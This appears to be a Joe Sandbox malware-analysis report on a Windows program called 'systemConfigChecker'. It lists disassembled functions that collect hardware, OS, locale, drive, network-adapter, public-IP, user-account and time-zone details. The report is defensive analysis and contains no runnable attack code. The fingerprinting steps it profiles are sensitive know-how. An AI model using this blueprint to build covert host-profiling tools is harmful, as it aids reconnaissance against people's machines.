Opcode ID: cf1a96ae52e39750a6f6db40f34a451b3bf87bc4091000d337629dce12d692df
Instruction ID: a0902079f52e72da792930a7c20afb7bf110b062a3cac1070652e9d9ff4743c7
Opcode Fuzzy Hash: cf1a96ae52e39750a6f6db40f34a451b3bf87bc4091000d337629dce12d692df
Instruction Fuzzy Hash: A9327DB2A58BC695FB20BF24D8443ED2321FB95794F405232EA5D57EA9EF38D680C700

Function 00007FF64E134A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?), ref: 00007FF64E134A96
memset.VCRUNTIME140(?), ref: 00007FF64E134AAA
memset.VCRUNTIME140(?), ref: 00007FF64E134ABE
memset.VCRUNTIME140(?), ref: 00007FF64E134AD2
memset.VCRUNTIME140(?), ref: 00007FF64E134AE3

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

RegOpenKeyExA.KERNELBASE(?), ref: 00007FF64E134B13
RegGetValueA.KERNELBASE ref: 00007FF64E134B4C
RegCloseKey.KERNELBASE ref: 00007FF64E134B89
RegOpenKeyExA.KERNELBASE ref: 00007FF64E134BB8
RegGetValueA.KERNELBASE ref: 00007FF64E134BF1
RegCloseKey.ADVAPI32 ref: 00007FF64E134C2E
RegOpenKeyExA.KERNELBASE ref: 00007FF64E134C5D
RegGetValueA.KERNELBASE ref: 00007FF64E134C9A
RegGetValueA.KERNELBASE ref: 00007FF64E134D01
RegCloseKey.KERNELBASE ref: 00007FF64E134D3E
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134E0F
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134E19

Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
Part of subcall function 00007FF64E1399F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
Part of subcall function 00007FF64E1399F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
Part of subcall function 00007FF64E1399F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
Part of subcall function 00007FF64E1399F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139AE6

Part of subcall function 00007FF64E1399F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B0F
Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B36

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00007FF64E134BAA
BaseBoardProduct, xrefs: 00007FF64E134B3E
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF64E134B05
Processor name: , xrefs: 00007FF64E134BFB
OS display version: , xrefs: 00007FF64E134D0B
DisplayVersion, xrefs: 00007FF64E134CF3
OS name: , xrefs: 00007FF64E134CA4
Machine name: , xrefs: 00007FF64E134B56
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF64E134C4F
ProductName, xrefs: 00007FF64E134C8C
ProcessorNameString, xrefs: 00007FF64E134BE3

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memset$Value$CloseOpenU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@Osfx@?$basic_ostream@_V12@V?$basic_streambuf@
String ID: BaseBoardProduct$DisplayVersion$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Machine name: $OS display version: $OS name: $Processor name: $ProcessorNameString$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 20268565-1502927450
Opcode ID: 12b30c537c136771721c78f4a9f3bda910a894ae6b1a0a306b9aab14cf318f64
Instruction ID: 86c2ff07fe3b9f8b1b4faefaf3269a6910dbac7f4b9aa8564d25bb18fc5ea65d
Opcode Fuzzy Hash: 12b30c537c136771721c78f4a9f3bda910a894ae6b1a0a306b9aab14cf318f64
Instruction Fuzzy Hash: 36B12E72B5CB8185FB20FB25E8802E967A5FBA4784F404136EA8D87E69DF3CD545CB40

Function 00007FF64E134E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF64E13A0C0: memcpy.VCRUNTIME140 ref: 00007FF64E13A0F8

WinHttpOpen.WINHTTP ref: 00007FF64E134EC6
WinHttpConnect.WINHTTP ref: 00007FF64E134EEB
WinHttpOpenRequest.WINHTTP ref: 00007FF64E134F20
WinHttpSendRequest.WINHTTP ref: 00007FF64E134F4C
WinHttpReceiveResponse.WINHTTP ref: 00007FF64E134F5F
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF64E134F7A
memset.VCRUNTIME140 ref: 00007FF64E134FA4
WinHttpReadData.WINHTTP ref: 00007FF64E134FBE

Part of subcall function 00007FF64E13A0C0: memcpy.VCRUNTIME140 ref: 00007FF64E13A198

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13507D
WinHttpCloseHandle.WINHTTP ref: 00007FF64E135094
WinHttpCloseHandle.WINHTTP ref: 00007FF64E13509D
WinHttpCloseHandle.WINHTTP ref: 00007FF64E1350A6

Strings

WinHTTP/1.0, xrefs: 00007FF64E134EBF
GET, xrefs: 00007FF64E134F16
Unable to get IP, xrefs: 00007FF64E134E9E
api.ipify.org, xrefs: 00007FF64E134EE1

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequestmemcpy$AvailableConnectQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturnmemset
String ID: GET$Unable to get IP$WinHTTP/1.0$api.ipify.org
API String ID: 849217320-4095685055
Opcode ID: bb1e038c47dcd19b0d5ca6d5e52eb04ef700f44ac4d6c11cb81c477ed665ef84
Instruction ID: cf1c38941feeebdbd74712cf2baae8105bae62ba1c06ffd8ff9768c400c98fb5
Opcode Fuzzy Hash: bb1e038c47dcd19b0d5ca6d5e52eb04ef700f44ac4d6c11cb81c477ed665ef84
Instruction Fuzzy Hash: C8616E72A5C78182FA10FB25E44066E67A0FB99B84F144635FA8D87F64DF3DE4858F40

Function 00007FF64E134640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE ref: 00007FF64E134695
GetLocaleInfoA.KERNEL32 ref: 00007FF64E134717

Part of subcall function 00007FF64E13A0C0: memcpy.VCRUNTIME140 ref: 00007FF64E13A0F8

memset.VCRUNTIME140 ref: 00007FF64E1347F0
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E134804
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF64E134821
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E134852
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134990
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E13499A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1349D5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E134A33

Strings

Country: , xrefs: 00007FF64E13489A
Failed to get locale, xrefs: 00007FF64E1346B3, 00007FF64E134739
Language: , xrefs: 00007FF64E13486E

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$InfoLocale_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@D@std@@@1@_V?$basic_streambuf@memcpymemset
String ID: Country: $Failed to get locale$Language:
API String ID: 3095796567-568146128
Opcode ID: 7ee4630a8720dee31b7aac71eba83e50fa141e2ccc1ffe48e3eec228e7cdaa5d
Instruction ID: 9609b87a27c980b04e8b4c6779a7026ff7e2043edd07e33e34f62142cd4c4b81
Opcode Fuzzy Hash: 7ee4630a8720dee31b7aac71eba83e50fa141e2ccc1ffe48e3eec228e7cdaa5d
Instruction Fuzzy Hash: FDB19E72A58B8585FB10EF64E4803AD2761FB95B98F404232EA9D97F98DF38D185CB00

Function 00007FF64E133780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 00007FF64E1337C5
memset.VCRUNTIME140 ref: 00007FF64E1337DA

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
Part of subcall function 00007FF64E1399F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
Part of subcall function 00007FF64E1399F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
Part of subcall function 00007FF64E1399F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
Part of subcall function 00007FF64E1399F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

GetDiskFreeSpaceExA.KERNELBASE ref: 00007FF64E1338F6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF64E13392B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1339D7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E1339DE
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133A59
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133A63

Part of subcall function 00007FF64E139610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF64E131CCF), ref: 00007FF64E139656

Strings

GB, xrefs: 00007FF64E133934
Available Drives: , xrefs: 00007FF64E1337E9

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@D@std@@@1@@DiskDrivesFreeLogicalOsfx@?$basic_ostream@_SpaceV01@_V12@V?$basic_streambuf@memcpymemset
String ID: GB$Available Drives:
API String ID: 2435906160-4081138596
Opcode ID: 8aa906d30ff72e81521b83cc95cdf89e0b1fab240ad9aba59166f2e7e3bdb413
Instruction ID: 1b0ff73c6725d287488398cb0e772c3d70f264c1e3410bc4018d1238d206028e
Opcode Fuzzy Hash: 8aa906d30ff72e81521b83cc95cdf89e0b1fab240ad9aba59166f2e7e3bdb413
Instruction Fuzzy Hash: 77919062A5CB8185FB20EB25D4803AD7761FBA5794F505232EA9D93EA9DF3CD181CB00

Function 00007FF64E133AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF64E133AEB
memset.VCRUNTIME140 ref: 00007FF64E133B01

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

GetAdaptersInfo.IPHLPAPI ref: 00007FF64E133B19
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF64E133B28
GetAdaptersInfo.IPHLPAPI ref: 00007FF64E133B39
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF64E133BC0
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133C8E
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133C98

Strings

IP Address: , xrefs: 00007FF64E133B7F
Adapter: , xrefs: 00007FF64E133B50

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$AdaptersInfomalloc$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@V?$basic_streambuf@freememset
String ID: Adapter: $IP Address:
API String ID: 1136092572-1613687433
Opcode ID: c7edc62ba95c09bb25c762d494fc7f04a23de319ef8496f2bf0b1d9de3c27718
Instruction ID: 3399eeb37f0d1b9c2252b9df1ec3eed81ae3556d213b75a49ef7527a0e0abe03
Opcode Fuzzy Hash: c7edc62ba95c09bb25c762d494fc7f04a23de319ef8496f2bf0b1d9de3c27718
Instruction Fuzzy Hash: F7514772A5DB8682FA10FB15D4802BE6361FBA8B84F404132EA4E97E59DF2CE545CB40

Function 00007FF64E133560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00007FF64E13359E
memset.VCRUNTIME140 ref: 00007FF64E1335B0

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A69
Part of subcall function 00007FF64E1399F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A89
Part of subcall function 00007FF64E1399F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139A99
Part of subcall function 00007FF64E1399F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B7C
Part of subcall function 00007FF64E1399F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B83
Part of subcall function 00007FF64E1399F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B90

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z.MSVCP140 ref: 00007FF64E1335D7

Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139AE6

Part of subcall function 00007FF64E1399F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B0F
Part of subcall function 00007FF64E1399F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF64E1319FA), ref: 00007FF64E139B36

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF64E133603
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E1336DC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E1336E6

Strings

Processor Architecture: , xrefs: 00007FF64E1335BF
Number of Cores: , xrefs: 00007FF64E1335EC

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$??6?$basic_ostream@?good@ios_base@std@@?sputc@?$basic_streambuf@V01@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@InfoOsfx@?$basic_ostream@_SystemV12@V?$basic_streambuf@memset
String ID: Number of Cores: $Processor Architecture:
API String ID: 777187999-1490948189
Opcode ID: f08b80ed4651fb83f797399b275d32309c9e16663fecaf2ac744f9129df82a99
Instruction ID: b5badec532ffb2bf9a735c0dbdb4988fa9e11b0e2d1e7f21ce6acf5827855e9a
Opcode Fuzzy Hash: f08b80ed4651fb83f797399b275d32309c9e16663fecaf2ac744f9129df82a99
Instruction Fuzzy Hash: 51516E72A48B8189FB10FB65D8802ED2361FBA8B88F504132EA4D97B69DF3CD545CB40

Function 00007FF64E133CD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF64E133D2C

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

NetUserEnum.NETAPI32 ref: 00007FF64E133D6B
NetApiBufferFree.NETAPI32 ref: 00007FF64E133E4A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E133E9F
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133F1A
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E133F24

Strings

User: , xrefs: 00007FF64E133DBD

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BufferD@std@@@1@@EnumFreeUserV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: User:
API String ID: 429987867-381282118
Opcode ID: e241ed3e55be39de160f41dced3cc773833e47700fa597e525f9be95238b1d8e
Instruction ID: 41d95f9d1e15aca69de5ee6e2bbcd62e777d915657328501c47c909a2e8640c7
Opcode Fuzzy Hash: e241ed3e55be39de160f41dced3cc773833e47700fa597e525f9be95238b1d8e
Instruction Fuzzy Hash: 07717E72A4CB8186FB10EF69D4802AD67A1FBA5794F504136EA5D93FA9DF3CD481CB00

Function 00007FF64E134180 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE ref: 00007FF64E1341BD
memset.VCRUNTIME140 ref: 00007FF64E1341D0

Part of subcall function 00007FF64E136810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E13684A
Part of subcall function 00007FF64E136810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF64E136866
Part of subcall function 00007FF64E136810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF64E136898

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF64E13427D
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E134351
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF64E13435B

Strings

Time Zone: , xrefs: 00007FF64E13420A

Memory Dump Source

Source File: 00000000.00000002.2342658416.00007FF64E131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF64E130000, based on PE: true

Associated: 00000000.00000002.2342642335.00007FF64E130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342709444.00007FF64E13E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342733213.00007FF64E145000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342765293.00007FF64E146000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff64e130000_systemConfigChecker.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@InformationTimeV?$basic_streambuf@Zone_invalid_parameter_noinfo_noreturnmemset
String ID: Time Zone:
API String ID: 35776714-1239252231
Opcode ID: 4828eb79ca3f53f09a541d778c95e189a65ea2713ffe4659dbe92ddbf69477ca
Instruction ID: e7f3700f236ee429ff8ea976635721a611e133482b9719c4b374a3714685497a
